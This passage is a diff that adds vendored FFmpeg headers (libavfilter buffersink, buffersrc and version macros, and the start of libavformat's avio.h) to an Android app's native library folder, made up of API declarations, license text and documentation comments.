+ * @param frame  pointer to an allocated frame that will be filled with data.
+ *               The data must be freed using av_frame_unref() / av_frame_free()
+ * @param flags  a combination of AV_BUFFERSINK_FLAG_* flags
+ *
+ * @return  >= 0 in for success, a negative AVERROR code for failure.
+ */
+int av_buffersink_get_frame_flags(AVFilterContext *ctx, AVFrame *frame, int flags);
+
+/**
+ * Tell av_buffersink_get_buffer_ref() to read video/samples buffer
+ * reference, but not remove it from the buffer. This is useful if you
+ * need only to read a video/samples buffer, without to fetch it.
+ */
+#define AV_BUFFERSINK_FLAG_PEEK 1
+
+/**
+ * Tell av_buffersink_get_buffer_ref() not to request a frame from its input.
+ * If a frame is already buffered, it is read (and removed from the buffer),
+ * but if no frame is present, return AVERROR(EAGAIN).
+ */
+#define AV_BUFFERSINK_FLAG_NO_REQUEST 2
+
+/**
+ * Set the frame size for an audio buffer sink.
+ *
+ * All calls to av_buffersink_get_buffer_ref will return a buffer with
+ * exactly the specified number of samples, or AVERROR(EAGAIN) if there is
+ * not enough. The last buffer at EOF will be padded with 0.
+ */
+void av_buffersink_set_frame_size(AVFilterContext *ctx, unsigned frame_size);
+
+/**
+ * @defgroup lavfi_buffersink_accessors Buffer sink accessors
+ * Get the properties of the stream
+ * @{
+ */
+
+enum AVMediaType av_buffersink_get_type                (const AVFilterContext *ctx);
+AVRational       av_buffersink_get_time_base           (const AVFilterContext *ctx);
+int              av_buffersink_get_format              (const AVFilterContext *ctx);
+
+AVRational       av_buffersink_get_frame_rate          (const AVFilterContext *ctx);
+int              av_buffersink_get_w                   (const AVFilterContext *ctx);
+int              av_buffersink_get_h                   (const AVFilterContext *ctx);
+AVRational       av_buffersink_get_sample_aspect_ratio (const AVFilterContext *ctx);
+enum AVColorSpace av_buffersink_get_colorspace         (const AVFilterContext *ctx);
+enum AVColorRange av_buffersink_get_color_range        (const AVFilterContext *ctx);
+
+int              av_buffersink_get_channels            (const AVFilterContext *ctx);
+int              av_buffersink_get_ch_layout           (const AVFilterContext *ctx,
+                                                        AVChannelLayout *ch_layout);
+int              av_buffersink_get_sample_rate         (const AVFilterContext *ctx);
+
+AVBufferRef *    av_buffersink_get_hw_frames_ctx       (const AVFilterContext *ctx);
+
+/** @} */
+
+/**
+ * Get a frame with filtered data from sink and put it in frame.
+ *
+ * @param ctx pointer to a context of a buffersink or abuffersink AVFilter.
+ * @param frame pointer to an allocated frame that will be filled with data.
+ *              The data must be freed using av_frame_unref() / av_frame_free()
+ *
+ * @return
+ *         - >= 0 if a frame was successfully returned.
+ *         - AVERROR(EAGAIN) if no frames are available at this point; more
+ *           input frames must be added to the filtergraph to get more output.
+ *         - AVERROR_EOF if there will be no more output frames on this sink.
+ *         - A different negative AVERROR code in other failure cases.
+ */
+int av_buffersink_get_frame(AVFilterContext *ctx, AVFrame *frame);
+
+/**
+ * Same as av_buffersink_get_frame(), but with the ability to specify the number
+ * of samples read. This function is less efficient than
+ * av_buffersink_get_frame(), because it copies the data around.
+ *
+ * @param ctx pointer to a context of the abuffersink AVFilter.
+ * @param frame pointer to an allocated frame that will be filled with data.
+ *              The data must be freed using av_frame_unref() / av_frame_free()
+ *              frame will contain exactly nb_samples audio samples, except at
+ *              the end of stream, when it can contain less than nb_samples.
+ *
+ * @return The return codes have the same meaning as for
+ *         av_buffersink_get_frame().
+ *
+ * @warning do not mix this function with av_buffersink_get_frame(). Use only one or
+ * the other with a single sink, not both.
+ */
+int av_buffersink_get_samples(AVFilterContext *ctx, AVFrame *frame, int nb_samples);
+
+/**
+ * @}
+ */
+
+#endif /* AVFILTER_BUFFERSINK_H */

app/src/main/jniLibs/arm64-v8a/include/libavfilter/buffersrc.h

@@ -0,0 +1,215 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVFILTER_BUFFERSRC_H
+#define AVFILTER_BUFFERSRC_H
+
+/**
+ * @file
+ * @ingroup lavfi_buffersrc
+ * Memory buffer source API.
+ */
+
+#include "avfilter.h"
+
+/**
+ * @defgroup lavfi_buffersrc Buffer source API
+ * @ingroup lavfi
+ * @{
+ */
+
+enum {
+
+    /**
+     * Do not check for format changes.
+     */
+    AV_BUFFERSRC_FLAG_NO_CHECK_FORMAT = 1,
+
+    /**
+     * Immediately push the frame to the output.
+     */
+    AV_BUFFERSRC_FLAG_PUSH = 4,
+
+    /**
+     * Keep a reference to the frame.
+     * If the frame if reference-counted, create a new reference; otherwise
+     * copy the frame data.
+     */
+    AV_BUFFERSRC_FLAG_KEEP_REF = 8,
+
+};
+
+/**
+ * Get the number of failed requests.
+ *
+ * A failed request is when the request_frame method is called while no
+ * frame is present in the buffer.
+ * The number is reset when a frame is added.
+ */
+unsigned av_buffersrc_get_nb_failed_requests(AVFilterContext *buffer_src);
+
+/**
+ * This structure contains the parameters describing the frames that will be
+ * passed to this filter.
+ *
+ * It should be allocated with av_buffersrc_parameters_alloc() and freed with
+ * av_free(). All the allocated fields in it remain owned by the caller.
+ */
+typedef struct AVBufferSrcParameters {
+    /**
+     * video: the pixel format, value corresponds to enum AVPixelFormat
+     * audio: the sample format, value corresponds to enum AVSampleFormat
+     */
+    int format;
+    /**
+     * The timebase to be used for the timestamps on the input frames.
+     */
+    AVRational time_base;
+
+    /**
+     * Video only, the display dimensions of the input frames.
+     */
+    int width, height;
+
+    /**
+     * Video only, the sample (pixel) aspect ratio.
+     */
+    AVRational sample_aspect_ratio;
+
+    /**
+     * Video only, the frame rate of the input video. This field must only be
+     * set to a non-zero value if input stream has a known constant framerate
+     * and should be left at its initial value if the framerate is variable or
+     * unknown.
+     */
+    AVRational frame_rate;
+
+    /**
+     * Video with a hwaccel pixel format only. This should be a reference to an
+     * AVHWFramesContext instance describing the input frames.
+     */
+    AVBufferRef *hw_frames_ctx;
+
+    /**
+     * Audio only, the audio sampling rate in samples per second.
+     */
+    int sample_rate;
+
+    /**
+     * Audio only, the audio channel layout
+     */
+    AVChannelLayout ch_layout;
+
+    /**
+     * Video only, the YUV colorspace and range.
+     */
+    enum AVColorSpace color_space;
+    enum AVColorRange color_range;
+} AVBufferSrcParameters;
+
+/**
+ * Allocate a new AVBufferSrcParameters instance. It should be freed by the
+ * caller with av_free().
+ */
+AVBufferSrcParameters *av_buffersrc_parameters_alloc(void);
+
+/**
+ * Initialize the buffersrc or abuffersrc filter with the provided parameters.
+ * This function may be called multiple times, the later calls override the
+ * previous ones. Some of the parameters may also be set through AVOptions, then
+ * whatever method is used last takes precedence.
+ *
+ * @param ctx an instance of the buffersrc or abuffersrc filter
+ * @param param the stream parameters. The frames later passed to this filter
+ *              must conform to those parameters. All the allocated fields in
+ *              param remain owned by the caller, libavfilter will make internal
+ *              copies or references when necessary.
+ * @return 0 on success, a negative AVERROR code on failure.
+ */
+int av_buffersrc_parameters_set(AVFilterContext *ctx, AVBufferSrcParameters *param);
+
+/**
+ * Add a frame to the buffer source.
+ *
+ * @param ctx   an instance of the buffersrc filter
+ * @param frame frame to be added. If the frame is reference counted, this
+ * function will make a new reference to it. Otherwise the frame data will be
+ * copied.
+ *
+ * @return 0 on success, a negative AVERROR on error
+ *
+ * This function is equivalent to av_buffersrc_add_frame_flags() with the
+ * AV_BUFFERSRC_FLAG_KEEP_REF flag.
+ */
+av_warn_unused_result
+int av_buffersrc_write_frame(AVFilterContext *ctx, const AVFrame *frame);
+
+/**
+ * Add a frame to the buffer source.
+ *
+ * @param ctx   an instance of the buffersrc filter
+ * @param frame frame to be added. If the frame is reference counted, this
+ * function will take ownership of the reference(s) and reset the frame.
+ * Otherwise the frame data will be copied. If this function returns an error,
+ * the input frame is not touched.
+ *
+ * @return 0 on success, a negative AVERROR on error.
+ *
+ * @note the difference between this function and av_buffersrc_write_frame() is
+ * that av_buffersrc_write_frame() creates a new reference to the input frame,
+ * while this function takes ownership of the reference passed to it.
+ *
+ * This function is equivalent to av_buffersrc_add_frame_flags() without the
+ * AV_BUFFERSRC_FLAG_KEEP_REF flag.
+ */
+av_warn_unused_result
+int av_buffersrc_add_frame(AVFilterContext *ctx, AVFrame *frame);
+
+/**
+ * Add a frame to the buffer source.
+ *
+ * By default, if the frame is reference-counted, this function will take
+ * ownership of the reference(s) and reset the frame. This can be controlled
+ * using the flags.
+ *
+ * If this function returns an error, the input frame is not touched.
+ *
+ * @param buffer_src  pointer to a buffer source context
+ * @param frame       a frame, or NULL to mark EOF
+ * @param flags       a combination of AV_BUFFERSRC_FLAG_*
+ * @return            >= 0 in case of success, a negative AVERROR code
+ *                    in case of failure
+ */
+av_warn_unused_result
+int av_buffersrc_add_frame_flags(AVFilterContext *buffer_src,
+                                 AVFrame *frame, int flags);
+
+/**
+ * Close the buffer source after EOF.
+ *
+ * This is similar to passing NULL to av_buffersrc_add_frame_flags()
+ * except it takes the timestamp of the EOF, i.e. the timestamp of the end
+ * of the last frame.
+ */
+int av_buffersrc_close(AVFilterContext *ctx, int64_t pts, unsigned flags);
+
+/**
+ * @}
+ */
+
+#endif /* AVFILTER_BUFFERSRC_H */

app/src/main/jniLibs/arm64-v8a/include/libavfilter/version.h

@@ -0,0 +1,48 @@
+/*
+ * Version macros.
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVFILTER_VERSION_H
+#define AVFILTER_VERSION_H
+
+/**
+ * @file
+ * @ingroup lavfi
+ * Libavfilter version macros
+ */
+
+#include "libavutil/version.h"
+
+#include "version_major.h"
+
+#define LIBAVFILTER_VERSION_MINOR   4
+#define LIBAVFILTER_VERSION_MICRO 100
+
+
+#define LIBAVFILTER_VERSION_INT AV_VERSION_INT(LIBAVFILTER_VERSION_MAJOR, \
+                                               LIBAVFILTER_VERSION_MINOR, \
+                                               LIBAVFILTER_VERSION_MICRO)
+#define LIBAVFILTER_VERSION     AV_VERSION(LIBAVFILTER_VERSION_MAJOR,   \
+                                           LIBAVFILTER_VERSION_MINOR,   \
+                                           LIBAVFILTER_VERSION_MICRO)
+#define LIBAVFILTER_BUILD       LIBAVFILTER_VERSION_INT
+
+#define LIBAVFILTER_IDENT       "Lavfi" AV_STRINGIFY(LIBAVFILTER_VERSION)
+
+#endif /* AVFILTER_VERSION_H */

app/src/main/jniLibs/arm64-v8a/include/libavfilter/version_major.h

@@ -0,0 +1,40 @@
+/*
+ * Version macros.
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVFILTER_VERSION_MAJOR_H
+#define AVFILTER_VERSION_MAJOR_H
+
+/**
+ * @file
+ * @ingroup lavfi
+ * Libavfilter version macros
+ */
+
+#define LIBAVFILTER_VERSION_MAJOR  10
+
+/**
+ * FF_API_* defines may be placed below to indicate public API that will be
+ * dropped at a future version bump. The defines themselves are not part of
+ * the public API and may change, break or disappear at any time.
+ */
+
+#define FF_API_LINK_PUBLIC     (LIBAVFILTER_VERSION_MAJOR < 11)
+
+#endif /* AVFILTER_VERSION_MAJOR_H */

app/src/main/jniLibs/arm64-v8a/include/libavformat/avio.h

@@ -0,0 +1,831 @@
+/*
+ * copyright (c) 2001 Fabrice Bellard
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#ifndef AVFORMAT_AVIO_H
+#define AVFORMAT_AVIO_H
+
+/**
+ * @file
+ * @ingroup lavf_io
+ * Buffered I/O operations
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+
+#include "libavutil/attributes.h"
+#include "libavutil/dict.h"
+#include "libavutil/log.h"
+
+#include "libavformat/version_major.h"
+
+/**
+ * Seeking works like for a local file.
+ */
+#define AVIO_SEEKABLE_NORMAL (1 << 0)
+
+/**
+ * Seeking by timestamp with avio_seek_time() is possible.
+ */
+#define AVIO_SEEKABLE_TIME   (1 << 1)
+
+/**
+ * Callback for checking whether to abort blocking functions.
+ * AVERROR_EXIT is returned in this case by the interrupted
+ * function. During blocking operations, callback is called with
+ * opaque as parameter. If the callback returns 1, the
+ * blocking operation will be aborted.
+ *
+ * No members can be added to this struct without a major bump, if
+ * new elements have been added after this struct in AVFormatContext
+ * or AVIOContext.
+ */
+typedef struct AVIOInterruptCB {
+    int (*callback)(void*);
+    void *opaque;
+} AVIOInterruptCB;
+
+/**
+ * Directory entry types.
+ */
+enum AVIODirEntryType {
+    AVIO_ENTRY_UNKNOWN,
+    AVIO_ENTRY_BLOCK_DEVICE,
+    AVIO_ENTRY_CHARACTER_DEVICE,
+    AVIO_ENTRY_DIRECTORY,
+    AVIO_ENTRY_NAMED_PIPE,
+    AVIO_ENTRY_SYMBOLIC_LINK,
+    AVIO_ENTRY_SOCKET,
+    AVIO_ENTRY_FILE,
+    AVIO_ENTRY_SERVER,
+    AVIO_ENTRY_SHARE,
+    AVIO_ENTRY_WORKGROUP,
+};
+
+/**
+ * Describes single entry of the directory.
+ *
+ * Only name and type fields are guaranteed be set.
+ * Rest of fields are protocol or/and platform dependent and might be unknown.
+ */
+typedef struct AVIODirEntry {
+    char *name;                           /**< Filename */
+    int type;                             /**< Type of the entry */
+    int utf8;                             /**< Set to 1 when name is encoded with UTF-8, 0 otherwise.
+                                               Name can be encoded with UTF-8 even though 0 is set. */
+    int64_t size;                         /**< File size in bytes, -1 if unknown. */
+    int64_t modification_timestamp;       /**< Time of last modification in microseconds since unix
+                                               epoch, -1 if unknown. */
+    int64_t access_timestamp;             /**< Time of last access in microseconds since unix epoch,
+                                               -1 if unknown. */
+    int64_t status_change_timestamp;      /**< Time of last status change in microseconds since unix
+                                               epoch, -1 if unknown. */
+    int64_t user_id;                      /**< User ID of owner, -1 if unknown. */
+    int64_t group_id;                     /**< Group ID of owner, -1 if unknown. */
+    int64_t filemode;                     /**< Unix file mode, -1 if unknown. */
+} AVIODirEntry;
+
+typedef struct AVIODirContext AVIODirContext;
+
+/**
+ * Different data types that can be returned via the AVIO
+ * write_data_type callback.
+ */
+enum AVIODataMarkerType {
+    /**
+     * Header data; this needs to be present for the stream to be decodeable.
+     */
+    AVIO_DATA_MARKER_HEADER,
+    /**
+     * A point in the output bytestream where a decoder can start decoding
+     * (i.e. a keyframe). A demuxer/decoder given the data flagged with
+     * AVIO_DATA_MARKER_HEADER, followed by any AVIO_DATA_MARKER_SYNC_POINT,
+     * should give decodeable results.
+     */
+    AVIO_DATA_MARKER_SYNC_POINT,
+    /**
+     * A point in the output bytestream where a demuxer can start parsing
+     * (for non self synchronizing bytestream formats). That is, any
+     * non-keyframe packet start point.
+     */
+    AVIO_DATA_MARKER_BOUNDARY_POINT,
+    /**
+     * This is any, unlabelled data. It can either be a muxer not marking
+     * any positions at all, it can be an actual boundary/sync point
+     * that the muxer chooses not to mark, or a later part of a packet/fragment
+     * that is cut into multiple write callbacks due to limited IO buffer size.
+     */
+    AVIO_DATA_MARKER_UNKNOWN,
+    /**
+     * Trailer data, which doesn't contain actual content, but only for
+     * finalizing the output file.
+     */
+    AVIO_DATA_MARKER_TRAILER,
+    /**
+     * A point in the output bytestream where the underlying AVIOContext might
+     * flush the buffer depending on latency or buffering requirements. Typically
+     * means the end of a packet.
+     */
+    AVIO_DATA_MARKER_FLUSH_POINT,
+};
+
+/**
+ * Bytestream IO Context.
+ * New public fields can be added with minor version bumps.
+ * Removal, reordering and changes to existing public fields require
+ * a major version bump.
+ * sizeof(AVIOContext) must not be used outside libav*.
+ *
+ * @note None of the function pointers in AVIOContext should be called
+ *       directly, they should only be set by the client application
+ *       when implementing custom I/O. Normally these are set to the
+ *       function pointers specified in avio_alloc_context()
+ */
+typedef struct AVIOContext {
+    /**
+     * A class for private options.
+     *
+     * If this AVIOContext is created by avio_open2(), av_class is set and
+     * passes the options down to protocols.
+     *
+     * If this AVIOContext is manually allocated, then av_class may be set by
+     * the caller.
+     *
+     * warning -- this field can be NULL, be sure to not pass this AVIOContext
+     * to any av_opt_* functions in that case.
+     */
+    const AVClass *av_class;
+
+    /*
+     * The following shows the relationship between buffer, buf_ptr,
+     * buf_ptr_max, buf_end, buf_size, and pos, when reading and when writing
+     * (since AVIOContext is used for both):
+     *
+     **********************************************************************************
+     *                                   READING
+     **********************************************************************************
+     *
+     *                            |              buffer_size              |
+     *                            |---------------------------------------|
+     *                            |                                       |
+     *
+     *                         buffer          buf_ptr       buf_end
+     *                            +---------------+-----------------------+
+     *                            |/ / / / / / / /|/ / / / / / /|         |
+     *  read buffer:              |/ / consumed / | to be read /|         |
+     *                            |/ / / / / / / /|/ / / / / / /|         |
+     *                            +---------------+-----------------------+
+     *
+     *                                                         pos
+     *              +-------------------------------------------+-----------------+
+     *  input file: |                                           |                 |
+     *              +-------------------------------------------+-----------------+
+     *
+     *
+     **********************************************************************************
+     *                                   WRITING
+     **********************************************************************************
+     *
+     *                             |          buffer_size                 |
+     *                             |--------------------------------------|
+     *                             |                                      |
+     *
+     *                                                buf_ptr_max
+     *                          buffer                 (buf_ptr)       buf_end
+     *                             +-----------------------+--------------+
+     *                             |/ / / / / / / / / / / /|              |
+     *  write buffer:              | / / to be flushed / / |              |
+     *                             |/ / / / / / / / / / / /|              |
+     *                             +-----------------------+--------------+
+     *                               buf_ptr can be in this
+     *                               due to a backward seek
+     *
+     *                            pos
+     *               +-------------+----------------------------------------------+
+     *  output file: |             |                                              |
+     *               +-------------+----------------------------------------------+
+     *
+     */
+    unsigned char *buffer;  /**< Start of the buffer. */
+    int buffer_size;        /**< Maximum buffer size */
+    unsigned char *buf_ptr; /**< Current position in the buffer */
+    unsigned char *buf_end; /**< End of the data, may be less than
+                                 buffer+buffer_size if the read function returned
+                                 less data than requested, e.g. for streams where
+                                 no more data has been received yet. */
+    void *opaque;           /**< A private pointer, passed to the read/write/seek/...
+                                 functions. */
+    int (*read_packet)(void *opaque, uint8_t *buf, int buf_size);
+    int (*write_packet)(void *opaque, const uint8_t *buf, int buf_size);
+    int64_t (*seek)(void *opaque, int64_t offset, int whence);
+    int64_t pos;            /**< position in the file of the current buffer */
+    int eof_reached;        /**< true if was unable to read due to error or eof */
+    int error;              /**< contains the error code or 0 if no error happened */
+    int write_flag;         /**< true if open for writing */
+    int max_packet_size;
+    int min_packet_size;    /**< Try to buffer at least this amount of data
+                                 before flushing it. */
+    unsigned long checksum;
+    unsigned char *checksum_ptr;
+    unsigned long (*update_checksum)(unsigned long checksum, const uint8_t *buf, unsigned int size);
+    /**
+     * Pause or resume playback for network streaming protocols - e.g. MMS.
+     */
+    int (*read_pause)(void *opaque, int pause);
+    /**
+     * Seek to a given timestamp in stream with the specified stream_index.
+     * Needed for some network streaming protocols which don't support seeking
+     * to byte position.
+     */
+    int64_t (*read_seek)(void *opaque, int stream_index,
+                         int64_t timestamp, int flags);
+    /**
+     * A combination of AVIO_SEEKABLE_ flags or 0 when the stream is not seekable.
+     */
+    int seekable;
+
+    /**
+     * avio_read and avio_write should if possible be satisfied directly
+     * instead of going through a buffer, and avio_seek will always
+     * call the underlying seek function directly.
+     */
+    int direct;
+
+    /**
+     * ',' separated list of allowed protocols.
+     */
+    const char *protocol_whitelist;
+
+    /**
+     * ',' separated list of disallowed protocols.
+     */
+    const char *protocol_blacklist;
+
+    /**
+     * A callback that is used instead of write_packet.
+     */
+    int (*write_data_type)(void *opaque, const uint8_t *buf, int buf_size,
+                           enum AVIODataMarkerType type, int64_t time);
+    /**
+     * If set, don't call write_data_type separately for AVIO_DATA_MARKER_BOUNDARY_POINT,
+     * but ignore them and treat them as AVIO_DATA_MARKER_UNKNOWN (to avoid needlessly
+     * small chunks of data returned from the callback).
+     */
+    int ignore_boundary_point;
+
+    /**
+     * Maximum reached position before a backward seek in the write buffer,
+     * used keeping track of already written data for a later flush.
+     */
+    unsigned char *buf_ptr_max;
+
+    /**
+     * Read-only statistic of bytes read for this AVIOContext.
+     */
+    int64_t bytes_read;
+
+    /**
+     * Read-only statistic of bytes written for this AVIOContext.
+     */
+    int64_t bytes_written;
+} AVIOContext;
+
+/**
+ * Return the name of the protocol that will handle the passed URL.
+ *
+ * NULL is returned if no protocol could be found for the given URL.
+ *
+ * @return Name of the protocol or NULL.
+ */
+const char *avio_find_protocol_name(const char *url);
+
+/**
+ * Return AVIO_FLAG_* access flags corresponding to the access permissions
+ * of the resource in url, or a negative value corresponding to an
+ * AVERROR code in case of failure. The returned access flags are
+ * masked by the value in flags.
+ *
+ * @note This function is intrinsically unsafe, in the sense that the
+ * checked resource may change its existence or permission status from
+ * one call to another. Thus you should not trust the returned value,
+ * unless you are sure that no other processes are accessing the
+ * checked resource.
+ */
+int avio_check(const char *url, int flags);
+
+/**
+ * Open directory for reading.
+ *
+ * @param s       directory read context. Pointer to a NULL pointer must be passed.
+ * @param url     directory to be listed.
+ * @param options A dictionary filled with protocol-private options. On return
+ *                this parameter will be destroyed and replaced with a dictionary
+ *                containing options that were not found. May be NULL.
+ * @return >=0 on success or negative on error.
+ */
+int avio_open_dir(AVIODirContext **s, const char *url, AVDictionary **options);
+
+/**
+ * Get next directory entry.
+ *
+ * Returned entry must be freed with avio_free_directory_entry(). In particular
+ * it may outlive AVIODirContext.
+ *
+ * @param s         directory read context.
+ * @param[out] next next entry or NULL when no more entries.
+ * @return >=0 on success or negative on error. End of list is not considered an
+ *             error.
+ */
+int avio_read_dir(AVIODirContext *s, AVIODirEntry **next);
+
+/**
+ * Close directory.
+ *
+ * @note Entries created using avio_read_dir() are not deleted and must be
+ * freeded with avio_free_directory_entry().
+ *
+ * @param s         directory read context.
+ * @return >=0 on success or negative on error.
+ */
+int avio_close_dir(AVIODirContext **s);
+
+/**
+ * Free entry allocated by avio_read_dir().
+ *
+ * @param entry entry to be freed.
+ */
+void avio_free_directory_entry(AVIODirEntry **entry);
+
+/**
+ * Allocate and initialize an AVIOContext for buffered I/O. It must be later
+ * freed with avio_context_free().
+ *
+ * @param buffer Memory block for input/output operations via AVIOContext.
+ *        The buffer must be allocated with av_malloc() and friends.
+ *        It may be freed and replaced with a new buffer by libavformat.
+ *        AVIOContext.buffer holds the buffer currently in use,
+ *        which must be later freed with av_free().
+ * @param buffer_size The buffer size is very important for performance.
+ *        For protocols with fixed blocksize it should be set to this blocksize.
+ *        For others a typical size is a cache page, e.g. 4kb.
+ * @param write_flag Set to 1 if the buffer should be writable, 0 otherwise.
+ * @param opaque An opaque pointer to user-specific data.
+ * @param read_packet  A function for refilling the buffer, may be NULL.
+ *                     For stream protocols, must never return 0 but rather
+ *                     a proper AVERROR code.
+ * @param write_packet A function for writing the buffer contents, may be NULL.
+ *        The function may not change the input buffers content.
+ * @param seek A function for seeking to specified byte position, may be NULL.
+ *
+ * @return Allocated AVIOContext or NULL on failure.
+ */
+AVIOContext *avio_alloc_context(
+                  unsigned char *buffer,
+                  int buffer_size,
+                  int write_flag,
+                  void *opaque,
+                  int (*read_packet)(void *opaque, uint8_t *buf, int buf_size),
+                  int (*write_packet)(void *opaque, const uint8_t *buf, int buf_size),
+                  int64_t (*seek)(void *opaque, int64_t offset, int whence));
+
+/**
+ * Free the supplied IO context and everything associated with it.
+ *
+ * @param s Double pointer to the IO context. This function will write NULL
+ * into s.
+ */
+void avio_context_free(AVIOContext **s);
+
+void avio_w8(AVIOContext *s, int b);
+void avio_write(AVIOContext *s, const unsigned char *buf, int size);
+void avio_wl64(AVIOContext *s, uint64_t val);
+void avio_wb64(AVIOContext *s, uint64_t val);
+void avio_wl32(AVIOContext *s, unsigned int val);
+void avio_wb32(AVIOContext *s, unsigned int val);
+void avio_wl24(AVIOContext *s, unsigned int val);
+void avio_wb24(AVIOContext *s, unsigned int val);
+void avio_wl16(AVIOContext *s, unsigned int val);
+void avio_wb16(AVIOContext *s, unsigned int val);
+
+/**
+ * Write a NULL-terminated string.
+ * @return number of bytes written.
+ */
+int avio_put_str(AVIOContext *s, const char *str);
+
+/**
+ * Convert an UTF-8 string to UTF-16LE and write it.
+ * @param s the AVIOContext
+ * @param str NULL-terminated UTF-8 string
+ *
+ * @return number of bytes written.
+ */
+int avio_put_str16le(AVIOContext *s, const char *str);
+
+/**
+ * Convert an UTF-8 string to UTF-16BE and write it.
+ * @param s the AVIOContext
+ * @param str NULL-terminated UTF-8 string
+ *
+ * @return number of bytes written.
+ */
+int avio_put_str16be(AVIOContext *s, const char *str);
+
+/**
+ * Mark the written bytestream as a specific type.
+ *
+ * Zero-length ranges are omitted from the output.
+ *
+ * @param s    the AVIOContext
+ * @param time the stream time the current bytestream pos corresponds to
+ *             (in AV_TIME_BASE units), or AV_NOPTS_VALUE if unknown or not
+ *             applicable
+ * @param type the kind of data written starting at the current pos
+ */
+void avio_write_marker(AVIOContext *s, int64_t time, enum AVIODataMarkerType type);
+
+/**
+ * ORing this as the "whence" parameter to a seek function causes it to
+ * return the filesize without seeking anywhere. Supporting this is optional.
+ * If it is not supported then the seek function will return <0.
+ */
+#define AVSEEK_SIZE 0x10000
+
+/**
+ * Passing this flag as the "whence" parameter to a seek function causes it to
+ * seek by any means (like reopening and linear reading) or other normally unreasonable
+ * means that can be extremely slow.
+ * This may be ignored by the seek code.
+ */
+#define AVSEEK_FORCE 0x20000
+
+/**
+ * fseek() equivalent for AVIOContext.
+ * @return new position or AVERROR.
+ */
+int64_t avio_seek(AVIOContext *s, int64_t offset, int whence);
+
+/**
+ * Skip given number of bytes forward
+ * @return new position or AVERROR.
+ */
+int64_t avio_skip(AVIOContext *s, int64_t offset);
+
+/**
+ * ftell() equivalent for AVIOContext.
+ * @return position or AVERROR.
+ */
+static av_always_inline int64_t avio_tell(AVIOContext *s)
+{
+    return avio_seek(s, 0, SEEK_CUR);
+}
+
+/**
+ * Get the filesize.
+ * @return filesize or AVERROR
+ */
+int64_t avio_size(AVIOContext *s);
+
+/**
+ * Similar to feof() but also returns nonzero on read errors.
+ * @return non zero if and only if at end of file or a read error happened when reading.
+ */
+int avio_feof(AVIOContext *s);
+
+/**
+ * Writes a formatted string to the context taking a va_list.
+ * @return number of bytes written, < 0 on error.
+ */
+int avio_vprintf(AVIOContext *s, const char *fmt, va_list ap);
+
+/**
+ * Writes a formatted string to the context.
+ * @return number of bytes written, < 0 on error.
+ */
+int avio_printf(AVIOContext *s, const char *fmt, ...) av_printf_format(2, 3);
+
+/**
+ * Write a NULL terminated array of strings to the context.
+ * Usually you don't need to use this function directly but its macro wrapper,
+ * avio_print.
+ */
+void avio_print_string_array(AVIOContext *s, const char * const strings[]);
+
+/**
+ * Write strings (const char *) to the context.
+ * This is a convenience macro around avio_print_string_array and it
+ * automatically creates the string array from the variable argument list.
+ * For simple string concatenations this function is more performant than using
+ * avio_printf since it does not need a temporary buffer.
+ */
+#define avio_print(s, ...) \
+    avio_print_string_array(s, (const char*[]){__VA_ARGS__, NULL})
+
+/**
+ * Force flushing of buffered data.
+ *
+ * For write streams, force the buffered data to be immediately written to the output,
+ * without to wait to fill the internal buffer.
+ *
+ * For read streams, discard all currently buffered data, and advance the
+ * reported file position to that of the underlying stream. This does not
+ * read new data, and does not perform any seeks.
+ */
+void avio_flush(AVIOContext *s);
+
+/**
+ * Read size bytes from AVIOContext into buf.
+ * @return number of bytes read or AVERROR
+ */
+int avio_read(AVIOContext *s, unsigned char *buf, int size);
+
+/**
+ * Read size bytes from AVIOContext into buf. Unlike avio_read(), this is allowed
+ * to read fewer bytes than requested. The missing bytes can be read in the next
+ * call. This always tries to read at least 1 byte.
+ * Useful to reduce latency in certain cases.
+ * @return number of bytes read or AVERROR
+ */
+int avio_read_partial(AVIOContext *s, unsigned char *buf, int size);
+
+/**
+ * @name Functions for reading from AVIOContext
+ * @{
+ *
